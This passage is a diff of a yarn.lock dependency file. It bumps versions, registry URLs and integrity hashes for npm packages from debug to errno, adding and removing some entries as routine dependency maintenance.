 debug@2.6.9, debug@^2.2.0, debug@^2.3.3, debug@^2.6.0, debug@^2.6.6, debug@^2.6.8, debug@^2.6.9:
   version "2.6.9"
   resolved "https://registry.yarnpkg.com/debug/-/debug-2.6.9.tgz#5d128515df134ff327e90a4c93f4e077a536341f"
@@ -2241,7 +2310,7 @@ debug@2.6.9, debug@^2.2.0, debug@^2.3.3, debug@^2.6.0, debug@^2.6.6, debug@^2.6.
   dependencies:
     ms "2.0.0"
 
-debug@^3.0.1, debug@^3.1.0, debug@^3.1.1:
+debug@^3.0.1, debug@^3.1.0, debug@^3.2.7:
   version "3.2.7"
   resolved "https://registry.yarnpkg.com/debug/-/debug-3.2.7.tgz#72580b7e9145fb39b6676f9c5e5fb100b934179a"
   integrity sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==
@@ -2251,7 +2320,7 @@ debug@^3.0.1, debug@^3.1.0, debug@^3.1.1:
 decamelize@^1.0.0, decamelize@^1.1.1, decamelize@^1.1.2:
   version "1.2.0"
   resolved "https://registry.yarnpkg.com/decamelize/-/decamelize-1.2.0.tgz#f6534d15148269b20352e7bee26f501f9a191290"
-  integrity sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=
+  integrity sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==
 
 decode-uri-component@^0.2.0:
   version "0.2.2"
@@ -2259,16 +2328,16 @@ decode-uri-component@^0.2.0:
   integrity sha512-FqUYQ+8o158GyGTrMFJms9qh3CqTKvAqgqsTnkLI8sKu0028orqBhxNMFkFen0zGyg6epACD32pjVk58ngIErQ==
 
 deep-equal@^1.0.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/deep-equal/-/deep-equal-1.1.1.tgz#b5c98c942ceffaf7cb051e24e1434a25a2e6076a"
-  integrity sha512-yd9c5AdiqVcR+JjcwUQb9DkhJc8ngNr0MahEBGvDiJw8puWab2yZlh+nkasOnZP+EGTAP6rRp2JzJhJZzvNF8g==
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/deep-equal/-/deep-equal-1.1.2.tgz#78a561b7830eef3134c7f6f3a3d6af272a678761"
+  integrity sha512-5tdhKF6DbU7iIzrIOa1AOUt39ZRm13cmL1cGEh//aqR8x9+tNfbywRf0n5FD/18OKMdo7DNEtrX2t22ZAkI+eg==
   dependencies:
-    is-arguments "^1.0.4"
-    is-date-object "^1.0.1"
-    is-regex "^1.0.4"
-    object-is "^1.0.1"
+    is-arguments "^1.1.1"
+    is-date-object "^1.0.5"
+    is-regex "^1.1.4"
+    object-is "^1.1.5"
     object-keys "^1.1.1"
-    regexp.prototype.flags "^1.2.0"
+    regexp.prototype.flags "^1.5.1"
 
 deep-extend@^0.6.0:
   version "0.6.0"
@@ -2283,28 +2352,39 @@ deep-is@~0.1.3:
 default-require-extensions@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/default-require-extensions/-/default-require-extensions-1.0.0.tgz#f37ea15d3e13ffd9b437d33e1a75b5fb97874cb8"
-  integrity sha1-836hXT4T/9m0N9M+GnW1+5eHTLg=
+  integrity sha512-Dn2eAftOqXhNXs5f/Xjn7QTZ6kDYkx7u0EXQInN1oyYwsZysu11q7oTtaKcbzLxZRJiDHa8VmwpWmb4lY5FqgA==
   dependencies:
     strip-bom "^2.0.0"
 
-define-properties@^1.1.3:
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/define-properties/-/define-properties-1.1.3.tgz#cf88da6cbee26fe6db7094f61d870cbd84cee9f1"
-  integrity sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==
+define-data-property@^1.0.1, define-data-property@^1.1.4:
+  version "1.1.4"
+  resolved "https://registry.yarnpkg.com/define-data-property/-/define-data-property-1.1.4.tgz#894dc141bb7d3060ae4366f6a0107e68fbe48c5e"
+  integrity sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==
   dependencies:
-    object-keys "^1.0.12"
+    es-define-property "^1.0.0"
+    es-errors "^1.3.0"
+    gopd "^1.0.1"
+
+define-properties@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/define-properties/-/define-properties-1.2.1.tgz#10781cc616eb951a80a034bafcaa7377f6af2b6c"
+  integrity sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==
+  dependencies:
+    define-data-property "^1.0.1"
+    has-property-descriptors "^1.0.0"
+    object-keys "^1.1.1"
 
 define-property@^0.2.5:
   version "0.2.5"
   resolved "https://registry.yarnpkg.com/define-property/-/define-property-0.2.5.tgz#c35b1ef918ec3c990f9a5bc57be04aacec5c8116"
-  integrity sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=
+  integrity sha512-Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==
   dependencies:
     is-descriptor "^0.1.0"
 
 define-property@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/define-property/-/define-property-1.0.0.tgz#769ebaaf3f4a63aad3af9e8d304c9bbe79bfb0e6"
-  integrity sha1-dp66rz9KY6rTr56NMEybvnm/sOY=
+  integrity sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==
   dependencies:
     is-descriptor "^1.0.0"
 
@@ -2317,14 +2397,14 @@ define-property@^2.0.2:
     isobject "^3.0.1"
 
 defined@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/defined/-/defined-1.0.0.tgz#c98d9bcef75674188e110969151199e39b1fa693"
-  integrity sha1-yY2bzvdWdBiOEQlpFRGZ45sfppM=
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/defined/-/defined-1.0.1.tgz#c0b9db27bfaffd95d6f61399419b893df0f91ebf"
+  integrity sha512-hsBd2qSVCRE+5PmNdHt1uzyrFu5d3RwmFDKzyNZMFq/EwDNJF7Ee5+D5oEKF0hU6LhtoUF1macFvOe4AskQC1Q==
 
 del@^2.2.2:
   version "2.2.2"
   resolved "https://registry.yarnpkg.com/del/-/del-2.2.2.tgz#c12c981d067846c84bcaf862cff930d907ffd1a8"
-  integrity sha1-wSyYHQZ4RshLyvhiz/kw2Qf/0ag=
+  integrity sha512-Z4fzpbIRjOu7lO5jCETSWoqUDVe0IPOlfugBsF6suen2LKDlVb4QZpKEM9P+buNJ4KI1eN7I083w/pbKUpsrWQ==
   dependencies:
     globby "^5.0.0"
     is-path-cwd "^1.0.0"
@@ -2337,7 +2417,7 @@ del@^2.2.2:
 del@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/del/-/del-3.0.0.tgz#53ecf699ffcbcb39637691ab13baf160819766e5"
-  integrity sha1-U+z2mf/LyzljdpGrE7rxYIGXZuU=
+  integrity sha512-7yjqSoVSlJzA4t/VUwazuEagGeANEKB3f/aNI//06pfKgwoCb7f6Q1gETN1sZzYaj6chTQ0AhIwDiPdfOjko4A==
   dependencies:
     globby "^6.1.0"
     is-path-cwd "^1.0.0"
@@ -2351,35 +2431,40 @@ delayed-stream@~1.0.0:
   resolved "https://registry.yarnpkg.com/delayed-stream/-/delayed-stream-1.0.0.tgz#df3ae199acadfb7d440aaae0b29e2272b24ec619"
   integrity sha1-3zrhmayt+31ECqrgsp4icrJOxhk=
 
+depd@2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/depd/-/depd-2.0.0.tgz#b696163cc757560d09cf22cc8fad1571b79e76df"
+  integrity sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==
+
 depd@~1.1.2:
   version "1.1.2"
   resolved "https://registry.yarnpkg.com/depd/-/depd-1.1.2.tgz#9bcd52e14c097763e749b274c4346ed2e560b5a9"
   integrity sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=
 
 des.js@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/des.js/-/des.js-1.0.1.tgz#5382142e1bdc53f85d86d53e5f4aa7deb91e0843"
-  integrity sha512-Q0I4pfFrv2VPd34/vfLrFOoRmlYj3OV50i7fskps1jZWK1kApMWWT9G6RRUeYedLcBDIhnSDaUvJMb3AhUlaEA==
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/des.js/-/des.js-1.1.0.tgz#1d37f5766f3bbff4ee9638e871a8768c173b81da"
+  integrity sha512-r17GxjhUCjSRy8aiJpr8/UadFIzMzJGexI3Nmz4ADi9LYSFx4gTBp80+NaX/YsXWWLhpZ7v/v/ubEc/bCNfKwg==
   dependencies:
     inherits "^2.0.1"
     minimalistic-assert "^1.0.0"
 
-destroy@~1.0.4:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/destroy/-/destroy-1.0.4.tgz#978857442c44749e4206613e37946205826abd80"
-  integrity sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=
+destroy@1.2.0:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/destroy/-/destroy-1.2.0.tgz#4803735509ad8be552934c67df614f94e66fa015"
+  integrity sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==
 
 detect-indent@^4.0.0:
   version "4.0.0"
   resolved "https://registry.yarnpkg.com/detect-indent/-/detect-indent-4.0.0.tgz#f76d064352cdf43a1cb6ce619c4ee3a9475de208"
-  integrity sha1-920GQ1LN9Docts5hnE7jqUdd4gg=
+  integrity sha512-BDKtmHlOzwI7iRuEkhzsnPoi5ypEhWAJB5RvHWe1kMr06js3uK5B3734i3ui5Yd+wOJV1cpE4JnivPD283GU/A==
   dependencies:
     repeating "^2.0.0"
 
 detect-node@^2.0.3:
-  version "2.0.4"
-  resolved "https://registry.yarnpkg.com/detect-node/-/detect-node-2.0.4.tgz#014ee8f8f669c5c58023da64b8179c083a28c46c"
-  integrity sha512-ZIzRpLJrOj7jjP2miAtgqIfmzbxa4ZOr5jJc601zklsfEx9oTzmmj2nVpIPRpNlRTIh8lc1kyViIY7BWSGNmKw==
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/detect-node/-/detect-node-2.1.0.tgz#c9c70775a49c3d03bc2c06d9a73be550f978f8b1"
+  integrity sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g==
 
 detect-port-alt@1.1.6:
   version "1.1.6"
@@ -2389,17 +2474,17 @@ detect-port-alt@1.1.6:
     address "^1.0.1"
     debug "^2.6.0"
 
-diff-sequences@^29.3.1:
-  version "29.3.1"
-  resolved "https://registry.yarnpkg.com/diff-sequences/-/diff-sequences-29.3.1.tgz#104b5b95fe725932421a9c6e5b4bef84c3f2249e"
-  integrity sha512-hlM3QR272NXCi4pq+N4Kok4kOp6EsgOM3ZSpJI7Da3UAs+Ttsi8MRmB6trM/lhyzUxGfOgnpkHtgqm5Q/CTcfQ==
+diff-sequences@^29.6.3:
+  version "29.6.3"
+  resolved "https://registry.yarnpkg.com/diff-sequences/-/diff-sequences-29.6.3.tgz#4deaf894d11407c51efc8418012f9e70b84ea921"
+  integrity sha512-EjePK1srD3P08o2j4f0ExnylqRs5B9tJjcp9t1krH2qRi8CCdsYfwe9JgSLurFBWwq4uOlipzfk5fHNvwFKr8Q==
 
 diff@^3.2.0:
   version "3.5.0"
   resolved "https://registry.yarnpkg.com/diff/-/diff-3.5.0.tgz#800c0dd1e0a8bfbc95835c202ad220fe317e5a12"
   integrity sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==
 
-diffie-hellman@^5.0.0:
+diffie-hellman@^5.0.3:
   version "5.0.3"
   resolved "https://registry.yarnpkg.com/diffie-hellman/-/diffie-hellman-5.0.3.tgz#40e8ee98f55a2149607146921c63e1ae5f3d2875"
   integrity sha512-kqag/Nl+f3GwyK25fhUMYj81BUOrZ9IuJsjIcDE5icNM9FJHAVm3VcUDxdLPoQtTuUylWm6ZIknYJwwaPxsUzg==
@@ -2411,12 +2496,12 @@ diffie-hellman@^5.0.0:
 dns-equal@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/dns-equal/-/dns-equal-1.0.0.tgz#b39e7f1da6eb0a75ba9c17324b34753c47e0654d"
-  integrity sha1-s55/HabrCnW6nBcySzR1PEfgZU0=
+  integrity sha512-z+paD6YUQsk+AbGCEM4PrOXSss5gd66QfcVBFTKR/HpFL9jCqikS94HYwKww6fQyO7IxrIIyUu+g0Ka9tUS2Cg==
 
 dns-packet@^1.3.1:
-  version "1.3.1"
-  resolved "https://registry.yarnpkg.com/dns-packet/-/dns-packet-1.3.1.tgz#12aa426981075be500b910eedcd0b47dd7deda5a"
-  integrity sha512-0UxfQkMhYAUaZI+xrNZOz/as5KgDU0M/fQ9b6SpkyLbk3GEswDi6PADJVaYJradtRVsRIlF1zLyOodbcTCDzUg==
+  version "1.3.4"
+  resolved "https://registry.yarnpkg.com/dns-packet/-/dns-packet-1.3.4.tgz#e3455065824a2507ba886c55a89963bb107dec6f"
+  integrity sha512-BQ6F4vycLXBvdrJZ6S3gZewt6rcrks9KBgM9vrhW+knGRqc8uEdT7fuCwloc7nny5xNoMJ17HGH0R/6fpo8ECA==
   dependencies:
     ip "^1.1.0"
     safe-buffer "^5.0.1"
@@ -2424,14 +2509,14 @@ dns-packet@^1.3.1:
 dns-txt@^2.0.2:
   version "2.0.2"
   resolved "https://registry.yarnpkg.com/dns-txt/-/dns-txt-2.0.2.tgz#b91d806f5d27188e4ab3e7d107d881a1cc4642b6"
-  integrity sha1-uR2Ab10nGI5Ks+fRB9iBocxGQrY=
+  integrity sha512-Ix5PrWjphuSoUXV/Zv5gaFHjnaJtb02F2+Si3Ht9dyJ87+Z/lMmy+dpNHtTGraNK958ndXq2i+GLkWsWHcKaBQ==
   dependencies:
     buffer-indexof "^1.0.0"
 
 doctrine@1.5.0:
   version "1.5.0"
   resolved "https://registry.yarnpkg.com/doctrine/-/doctrine-1.5.0.tgz#379dce730f6166f76cefa4e6707a159b02c5a6fa"
-  integrity sha1-N53Ocw9hZvds76TmcHoVmwLFpvo=
+  integrity sha512-lsGyRuYr4/PIB0txi+Fy2xOMI2dGaTguCaotzFGkVZuKR5usKfcRWIFKNM3QNrU7hh/+w2bwTW+ZeXPK5l8uVg==
   dependencies:
     esutils "^2.0.2"
     isarray "^1.0.0"
@@ -2443,25 +2528,26 @@ doctrine@^2.0.0:
   dependencies:
     esutils "^2.0.2"
 
-dom-converter@^0.2:
+dom-converter@^0.2.0:
   version "0.2.0"
   resolved "https://registry.yarnpkg.com/dom-converter/-/dom-converter-0.2.0.tgz#6721a9daee2e293682955b6afe416771627bb768"
   integrity sha512-gd3ypIPfOMr9h5jIKq8E3sHOTCjeirnl0WK5ZdS1AW0Odt0b1PaWaHdJ4Qk4klv+YB9aJBS7mESXjFoDQPu6DA==
   dependencies:
     utila "~0.4"
 
-dom-serializer@0:
-  version "0.2.2"
-  resolved "https://registry.yarnpkg.com/dom-serializer/-/dom-serializer-0.2.2.tgz#1afb81f533717175d478655debc5e332d9f9bb51"
-  integrity sha512-2/xPb3ORsQ42nHYiSunXkDjPLBaEj/xTwUO4B7XCZQTRk7EBtTOPaygh10YAAh2OI1Qrp6NWfpAhzswj0ydt9g==
+dom-serializer@^1.0.1:
+  version "1.4.1"
+  resolved "https://registry.yarnpkg.com/dom-serializer/-/dom-serializer-1.4.1.tgz#de5d41b1aea290215dc45a6dae8adcf1d32e2d30"
+  integrity sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==
   dependencies:
     domelementtype "^2.0.1"
+    domhandler "^4.2.0"
     entities "^2.0.0"
 
 dom-urls@^1.1.0:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/dom-urls/-/dom-urls-1.1.0.tgz#001ddf81628cd1e706125c7176f53ccec55d918e"
-  integrity sha1-AB3fgWKM0ecGElxxdvU8zsVdkY4=
+  integrity sha512-LNxCeExaNbczqMVfQUyLdd+r+smG7ixIa+doeyiJ7nTmL8aZRrJhHkEYBEYVGvYv7k2DOEBh2eKthoCmWpfICg==
   dependencies:
     urijs "^1.16.1"
 
@@ -2470,38 +2556,31 @@ domain-browser@^1.1.1:
   resolved "https://registry.yarnpkg.com/domain-browser/-/domain-browser-1.2.0.tgz#3d31f50191a6749dd1375a7f522e823d42e54eda"
   integrity sha512-jnjyiM6eRyZl2H+W8Q/zLMA481hzi0eszAaBUzIVnmYVDBbnLxVNnfu1HgEBvCbL+71FrxMl3E6lpKH7Ge3OXA==
 
-domelementtype@1, domelementtype@^1.3.1:
-  version "1.3.1"
-  resolved "https://registry.yarnpkg.com/domelementtype/-/domelementtype-1.3.1.tgz#d048c44b37b0d10a7f2a3d5fee3f4333d790481f"
-  integrity sha512-BSKB+TSpMpFI/HOxCNr1O8aMOTZ8hT3pM3GQ0w/mWRmkhEDSFJkkyzz4XQsBV44BChwGkrDfMyjVD0eA2aFV3w==
-
 domelementtype@^2.0.1:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/domelementtype/-/domelementtype-2.1.0.tgz#a851c080a6d1c3d94344aed151d99f669edf585e"
   integrity sha512-LsTgx/L5VpD+Q8lmsXSHW2WpA+eBlZ9HPf3erD1IoPF00/3JKHZ3BknUVA2QGDNu69ZNmyFmCWBSO45XjYKC5w==
 
-domhandler@^2.3.0:
-  version "2.4.2"
-  resolved "https://registry.yarnpkg.com/domhandler/-/domhandler-2.4.2.tgz#8805097e933d65e85546f726d60f5eb88b44f803"
-  integrity sha512-JiK04h0Ht5u/80fdLMCEmV4zkNh2BcoMFBmZ/91WtYZ8qVXSKjiw7fXMgFPnHcSZgOo3XdinHvmnDUeMf5R4wA==
-  dependencies:
-    domelementtype "1"
+domelementtype@^2.2.0:
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/domelementtype/-/domelementtype-2.3.0.tgz#5c45e8e869952626331d7aab326d01daf65d589d"
+  integrity sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==
 
-domutils@1.5.1:
-  version "1.5.1"
-  resolved "https://registry.yarnpkg.com/domutils/-/domutils-1.5.1.tgz#dcd8488a26f563d61079e48c9f7b7e32373682cf"
-  integrity sha1-3NhIiib1Y9YQeeSMn3t+Mjc2gs8=
+domhandler@^4.0.0, domhandler@^4.2.0, domhandler@^4.3.1:
+  version "4.3.1"
+  resolved "https://registry.yarnpkg.com/domhandler/-/domhandler-4.3.1.tgz#8d792033416f59d68bc03a5aa7b018c1ca89279c"
+  integrity sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==
   dependencies:
-    dom-serializer "0"
-    domelementtype "1"
+    domelementtype "^2.2.0"
 
-domutils@^1.5.1:
-  version "1.7.0"
-  resolved "https://registry.yarnpkg.com/domutils/-/domutils-1.7.0.tgz#56ea341e834e06e6748af7a1cb25da67ea9f8c2a"
-  integrity sha512-Lgd2XcJ/NjEw+7tFvfKxOzCYKZsdct5lczQ2ZaQY8Djz7pfAD3Gbp8ySJWtreII/vDlMVmxwa6pHmdxIYgttDg==
+domutils@^2.5.2, domutils@^2.8.0:
+  version "2.8.0"
+  resolved "https://registry.yarnpkg.com/domutils/-/domutils-2.8.0.tgz#4437def5db6e2d1f5d6ee859bd95ca7d02048135"
+  integrity sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==
   dependencies:
-    dom-serializer "0"
-    domelementtype "1"
+    dom-serializer "^1.0.1"
+    domelementtype "^2.2.0"
+    domhandler "^4.2.0"
 
 dot-prop@^4.2.1:
   version "4.2.1"
@@ -2513,17 +2592,26 @@ dot-prop@^4.2.1:
 dotenv-expand@4.2.0:
   version "4.2.0"
   resolved "https://registry.yarnpkg.com/dotenv-expand/-/dotenv-expand-4.2.0.tgz#def1f1ca5d6059d24a766e587942c21106ce1275"
-  integrity sha1-3vHxyl1gWdJKdm5YeULCEQbOEnU=
+  integrity sha512-pHWVt6L/YkqbBCMb1hG6e7oO0WdMhlapDIibl+BZ9PncVE3i+G77uvNr8GUxW2ItSituOK8QOYC9oOJjwWD94A==
 
 dotenv@4.0.0:
   version "4.0.0"
   resolved "https://registry.yarnpkg.com/dotenv/-/dotenv-4.0.0.tgz#864ef1379aced55ce6f95debecdce179f7a0cd1d"
-  integrity sha1-hk7xN5rO1Vzm+V3r7NzhefegzR0=
+  integrity sha512-XcaMACOr3JMVcEv0Y/iUM2XaOsATRZ3U1In41/1jjK6vJZ2PZbQ1bzCG8uvaByfaBpl9gqc9QWJovpUGBXLLYQ==
+
+dunder-proto@^1.0.0, dunder-proto@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/dunder-proto/-/dunder-proto-1.0.1.tgz#d7ae667e1dc83482f8b70fd0f6eefc50da30f58a"
+  integrity sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==
+  dependencies:
+    call-bind-apply-helpers "^1.0.1"
+    es-errors "^1.3.0"
+    gopd "^1.2.0"
 
 duplexer3@^0.1.4:
-  version "0.1.4"
-  resolved "https://registry.yarnpkg.com/duplexer3/-/duplexer3-0.1.4.tgz#ee01dd1cac0ed3cbc7fdbea37dc0a8f1ce002ce2"
-  integrity sha1-7gHdHKwO08vH/b6jfcCo8c4ALOI=
+  version "0.1.5"
+  resolved "https://registry.yarnpkg.com/duplexer3/-/duplexer3-0.1.5.tgz#0b5e4d7bad5de8901ea4440624c8e1d20099217e"
+  integrity sha512-1A8za6ws41LQgv9HrE/66jyC5yuSjQ3L/KOpFtoBilsAK2iA2wuS5rTt1OCzIvtS2V7nVmedsUU+DGRcjBmOYA==
 
 duplexer@^0.1.1:
   version "0.1.2"
@@ -2533,7 +2621,7 @@ duplexer@^0.1.1:
 ecc-jsbn@~0.1.1:
   version "0.1.2"
   resolved "https://registry.yarnpkg.com/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz#3a83a904e54353287874c564b7549386849a98c9"
-  integrity sha1-OoOpBOVDUyh4dMVkt1SThoSamMk=
+  integrity sha512-eh9O+hwRHNbG4BLTjEl3nw044CkGm5X6LoaCf7LPp7UU8Qrt47JYNi6nPX8xjW97TKGKm1ouctg0QSpZe9qrnw==
   dependencies:
     jsbn "~0.1.0"
     safer-buffer "^2.1.0"
@@ -2544,27 +2632,14 @@ ee-first@1.1.1:
   integrity sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=
 
 electron-to-chromium@^1.2.7, electron-to-chromium@^1.3.30:
-  version "1.3.621"
-  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.3.621.tgz#0bbe2100ef0b28f88d0b1101fbdf433312f69be0"
-  integrity sha512-FeIuBzArONbAmKmZIsZIFGu/Gc9AVGlVeVbhCq+G2YIl6QkT0TDn2HKN/FMf1btXEB9kEmIuQf3/lBTVAbmFOg==
-
-elliptic@^6.5.3:
-  version "6.5.3"
-  resolved "https://registry.yarnpkg.com/elliptic/-/elliptic-6.5.3.tgz#cb59eb2efdaf73a0bd78ccd7015a62ad6e0f93d6"
-  integrity sha512-IMqzv5wNQf+E6aHeIqATs0tOLeOTwj1QKbRcS3jBbYkl5oLAserA8yJTT7/VyHUYG91PRmPyeQDObKLPpeS4dw==
-  dependencies:
-    bn.js "^4.4.0"
-    brorand "^1.0.1"
-    hash.js "^1.0.0"
-    hmac-drbg "^1.0.0"
-    inherits "^2.0.1"
-    minimalistic-assert "^1.0.0"
-    minimalistic-crypto-utils "^1.0.0"
+  version "1.5.82"
+  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.82.tgz#b9116ac6d6b6346c2baa49f14c1272ba2ce1ccdb"
+  integrity sha512-Zq16uk1hfQhyGx5GpwPAYDwddJuSGhtRhgOA2mCxANYaDT79nAeGnaXogMGng4KqLaJUVnOnuL0+TDop9nLOiA==
 
-elliptic@^6.5.4:
-  version "6.5.4"
-  resolved "https://registry.yarnpkg.com/elliptic/-/elliptic-6.5.4.tgz#da37cebd31e79a1367e941b592ed1fbebd58abbb"
-  integrity sha512-iLhC6ULemrljPZb+QutR5TQGB+pdW6KGD5RSegS+8sorOZT+rdQFbsQFJgvN3eRqNALqJer4oQ16YvJHlU8hzQ==
+elliptic@^6.5.3, elliptic@^6.5.5:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/elliptic/-/elliptic-6.6.1.tgz#3b8ffb02670bf69e382c7f65bf524c97c5405c06"
+  integrity sha512-RaddvvMatK2LJHqFJ+YA4WysVN5Ita9E35botqIYspQ4TkRAlCicdzKOjlyv/1Za5RyTNn7di//eEV0uTAfe3g==
   dependencies:
     bn.js "^4.11.9"
     brorand "^1.1.0"
@@ -2582,7 +2657,7 @@ emoji-regex@^6.1.0:
 emojis-list@^2.0.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/emojis-list/-/emojis-list-2.1.0.tgz#4daa4d9db00f9819880c79fa457ae5b09a1fd389"
-  integrity sha1-TapNnbAPmBmIDHn6RXrlsJof04k=
+  integrity sha512-knHEZMgs8BB+MInokmNTg/OyPlAddghe1YBgNwJBc5zsJi/uyIcXoSDsL/W9ymOsBoBGdPIHXYJ9+qKFwRwDng==
 
 emojis-list@^3.0.0:
   version "3.0.0"
@@ -2594,37 +2669,30 @@ encodeurl@~1.0.2:
   resolved "https://registry.yarnpkg.com/encodeurl/-/encodeurl-1.0.2.tgz#ad3ff4c86ec2d029322f5a02c3a9a606c95b3f59"
   integrity sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=
 
-encoding@^0.1.11:
-  version "0.1.13"
-  resolved "https://registry.yarnpkg.com/encoding/-/encoding-0.1.13.tgz#56574afdd791f54a8e9b2785c0582a2d26210fa9"
-  integrity sha512-ETBauow1T35Y/WZMkio9jiM0Z5xjHHmJ4XmjZOq1l/dXz3lr2sRn87nJy20RupqSh1F2m3HHPSp8ShIPQJrJ3A==
-  dependencies:
-    iconv-lite "^0.6.2"
+encodeurl@~2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/encodeurl/-/encodeurl-2.0.0.tgz#7b8ea898077d7e409d3ac45474ea38eaf0857a58"
+  integrity sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==
 
 enhanced-resolve@^3.4.0:
   version "3.4.1"
   resolved "https://registry.yarnpkg.com/enhanced-resolve/-/enhanced-resolve-3.4.1.tgz#0421e339fd71419b3da13d129b3979040230476e"
-  integrity sha1-BCHjOf1xQZs9oT0Smzl5BAIwR24=
+  integrity sha512-ZaAux1rigq1e2nQrztHn4h2ugvpzZxs64qneNah+8Mh/K0CRqJFJc+UoXnUsq+1yX+DmQFPPdVqboKAJ89e0Iw==
   dependencies:
     graceful-fs "^4.1.2"
     memory-fs "^0.4.0"
     object-assign "^4.0.1"
     tapable "^0.2.7"
 
-entities@^1.1.1:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/entities/-/entities-1.1.2.tgz#bdfa735299664dfafd34529ed4f8522a275fea56"
-  integrity sha512-f2LZMYl1Fzu7YSBKg+RoROelpOaNrcGmE9AZubeDfrCEia483oW4MI4VyFd5VNHIgQ/7qm1I0wUHK1eJnn2y2w==
-
 entities@^2.0.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/entities/-/entities-2.1.0.tgz#992d3129cf7df6870b96c57858c249a120f8b8b5"
   integrity sha512-hCx1oky9PFrJ611mf0ifBLBRW8lUUVRlFolb5gWRfIELabBlbp9xZvrqZLZAs+NxFnbfQoeGd8wDkygjg7U85w==
 
 errno@^0.1.3, errno@~0.1.7:
-  version "0.1.7"
-  resolved "https://registry.yarnpkg.com/errno/-/errno-0.1.7.tgz#4684d71779ad39af177e3f007996f7c67c852618"
-  integrity sha512-MfrRBDWzIWifgq6tJj60gkAwtLNb6sQPlcFrSOflcP1aFmmruKQ2wRnze/8V6kgyz7H3FF8Npzv78mZ7XLLflg==
+  version "0.1.8"
+  resolved "https://registry.yarnpkg.com/errno/-/errno-0.1.8.tgz#8bb3e9c7d463be4976ff888f76b4809ebc2e811f"
+  integrity sha512-dJ6oBr5SQ1VSd9qkk7ByRgb/1SH4JZjCHSW/mr63/QcXO9zLVxvJ6Oy13nio03rxpSnVDDjFor75SjVeZWPW/A==
